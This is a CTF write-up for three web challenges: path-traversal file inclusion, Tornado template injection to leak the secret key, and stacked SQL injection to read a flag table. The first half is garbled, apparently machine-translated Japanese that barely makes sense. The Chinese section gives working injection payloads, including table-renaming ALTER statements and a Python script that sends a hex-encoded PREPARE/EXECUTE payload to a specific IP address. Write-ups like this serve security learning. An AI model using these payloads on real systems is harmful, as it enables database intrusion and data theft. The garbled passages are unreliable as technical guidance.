1.WarmUp
思考は、脆弱性のポイントは2次復号化コードされている、ファイルが含まれている、非常に明確である、単に注入?../../あなたは、フラグを含めるために、パス内のフラグを経由ルートを使用し、できるhint.php
2.easy_tornado
タイトルは、この情報、フラグ既知の経路を与え、注射に関連付けられるべきテンプレートをレンダリングし、hint.txtが与えられるべきファイルハッシュアルゴリズム
URLを見て、私たちは、ファイル名とファイルのハッシュを制御することができます
ただ、また返され、9を書き、エラー文字列が背面に直接返されるエラーページにジャンプし、そのテンプレート注射をしようと、存在しないファイル名を渡しトピックは、私たちが対応するフラグファイルを計算する必要があるべきと思います鍵が知られていないため、ファイルハッシュは、しかし、私たちは、注射によってキーテンプレートを考え出す必要があるように、[]、()などの従来の射出テンプレート文字が除外されている竜巻を、権利がある、そうしてみてください読んで参照するには、いくつかのグローバルコンフィギュレーションtonadoを見つけます
だから、handler.settings竜巻で「アプリケーション設定、」店であるべき変数情報の数の後、ウェブサイトの一部にアクセスすることができますので、あなたは、キーへの直接アクセスを得ることができ、その後、このキーに基づいて構築することができますファイルハッシュ
それだけではなく、ここに秘密のグローバル・コンフィギュレーション・アプリケーションに保存されている推測の一部として、右のようなものと考えられ、当然のことながら、グーグルよりも多くのドキュメントを見て、文書がまだ役に立つ参照してくださいに続いて秘密のMD5ハッシュクリックを取得します。
3.注意何気なく
ここでは最初は、重要なデータが与えられ、「1に対応して、1を提出どこバック提出します
正常に戻る、1「または」「=」を提出してください:
あなたがスタック注射を試すことができる場所、説明注入は確かに存在するが、ここでは一般的なキーワードは失われていた、と大文字と小文字を区別しない正規のフィルタであるので、定期的なチェックシステムテーブルの注入方法は、確かにその後、動作しません。
得到了两张表,那么接下来肯定要查一下两张表有哪些字段,用show coloums from,就可以得到flag字段,这里使用show create table `1919810931114514`;语句也可以查到表的结构。
然后
这里有两种解法:
第一种,因为后端数据库实际上是查询的words表,可以使用alter来更改表名和表字段,让1919810931114514的表更名为words表,那么查询的words的时候实际上是对19这张表的查询,这思路真骚。
payload为:
';alter table `1919810931114514` add(id int default 1);alter table words rename xxx;alter table `1919810931114514` rename words;#
然后再查询就可以查询到flag了,这里我猜测后端语句应该是select * from words where id=1
第二种,除了这种骚操作,常规的我见过的还是这种:
#coding=utf-8 import requests #1919810931114514 part_url='http://49.4.66.242:31368/?inject=' payload="select flag from `1919810931114514`;" payload=payload.encode('hex') payload='''1';Set @x=0x'''+str(payload)+''';Prepare a from @x;execute a;%23''' print payload full_url=part_url+payload r=requests.get(url=full_url) print r.content
先编译sql语句,这里将payload进行了16进制编码,然后使用execute来进行执行,这里16进制编码的payload在编译中可以识别出来的,又学到了。